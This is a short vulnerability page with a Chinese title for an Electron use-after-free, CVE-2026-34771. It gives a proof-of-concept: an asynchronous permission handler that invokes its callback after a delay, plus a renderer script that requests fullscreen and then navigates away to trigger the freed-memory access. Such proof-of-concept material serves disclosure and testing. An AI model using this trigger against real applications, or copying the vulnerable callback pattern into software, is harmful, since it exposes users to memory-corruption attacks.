CVE-2026-34771 Electron异步权限处理UAF漏洞

// PoC Concept for CVE-2026-34771 // Main Process (main.js) const { app, BrowserWindow, session } = require('electron'); app.whenReady().then(() => { const win = new BrowserWindow(); // Register an asynchronous permission handler (Vulnerable) session.defaultSession.setPermissionRequestHandler((webContents, permission, callback) => { console.log('Permission requested:', permission); // Simulate asynchronous operation (e.g., asking user or DB check) setTimeout(() => { // If the frame/window navigated or closed here, 'callback' accesses freed memory callback(true); }, 2000); }); win.loadURL('file://' + __dirname + '/index.html'); }); // Renderer Process (index.html) // <script> // // Trigger a permission request (e.g., Fullscreen) // document.documentElement.requestFullscreen(); // // // Immediately trigger the UAF condition by navigating or closing // setTimeout(() => { // window.location.href = 'about:blank'; // or window.close() // }, 500); // </script>